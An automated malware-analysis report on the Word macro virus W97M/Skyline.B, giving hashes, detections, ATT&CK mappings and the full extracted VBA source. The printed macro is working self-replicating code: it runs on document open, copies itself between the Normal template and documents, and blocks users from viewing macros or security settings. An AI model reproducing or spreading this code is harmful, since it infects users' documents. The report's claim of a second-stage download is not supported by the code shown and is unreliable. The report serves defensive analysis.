W97M/Skyline.B — Office (OLE) malware analysis

Static analysis result for SHA-256 96ea76f0a5241c7f…

MALICIOUS

Office (OLE)

35.5 KB Created: 2001-02-23 13:01:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 3306d0760509d20f7882bbbeeba2bd7e SHA-1: 66ea82c94edd826640365fb894f4fa9e6ff953e2 SHA-256: 96ea76f0a5241c7fd19419897cc52c5be424b46dc7d98ac04f0d85554574d5c2
200 Risk Score

Malware Insights

W97M/Skyline.B · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro with an AutoOpen subroutine. The macro attempts to export itself to 'c:\ascii.vxd' and import it into the active document, likely to download and execute a second-stage payload. The ClamAV detection 'Doc.Trojan.Wrench-2' further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Wrench-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Wrench-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1675 bytes
SHA-256: 573cfa79ffb2bbb8e22038f1f972d730de5789e5f1a174a775516195bb8148b1
Detection
ClamAV: Doc.Trojan.Wrench-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Skyline"
'Name - W97M/Skyline.B
'Author - [Bench]
Dim DeleteMe As Boolean
Sub AutoOpen()
On Error Resume Next
SetAttr NormalTemplate.FullName, vbNormal
If Application.ShowVisualBasicEditor = True Then _
    Application.ShowVisualBasicEditor = False
Call BenchCore
End Sub
Sub ViewVBCode()
On Error Resume Next
DeleteMe = True
With Assistant.NewBalloon
    .Icon = msoIconAlert
    .Heading = "Skyline MV"
    .Text = "You thought you got rid of me, but I'm Still here, better and stronger!"
    .Animation = msoAnimationGreeting
    .Show
End With
Call BenchCore
'Application.ShowVisualBasicEditor = True
End Sub
Sub ToolsCustomize()
On Error Resume Next
DeleteMe = True
End Sub
Sub ViewSecurity()
On Error Resume Next
MsgBox "Access is Restricted!", vbCritical, "Microsoft Word"
End Sub
Sub BenchCore()
On Error Resume Next
ModulName = "Skyline"
FileName = "ascii.vxd"
If MacroContainer = NormalTemplate Then
Set Carrier = NormalTemplate.VBProject.VBComponents
Set host = ActiveDocument.VBProject.VBComponents
Else
Set Carrier = ActiveDocument.VBProject.VBComponents
Set host = NormalTemplate.VBProject.VBComponents
End If
If host(ModulName).Name <> ModulName Then
Carrier(ModulName).Export "c:\ascii.vxd"
host.Import ("c:\ascii.vxd")
End If
If ActiveDocument.Content.Characters.Count = 0 Then ActiveDocument.Saved = True Else ActiveDocument.Save
End Sub

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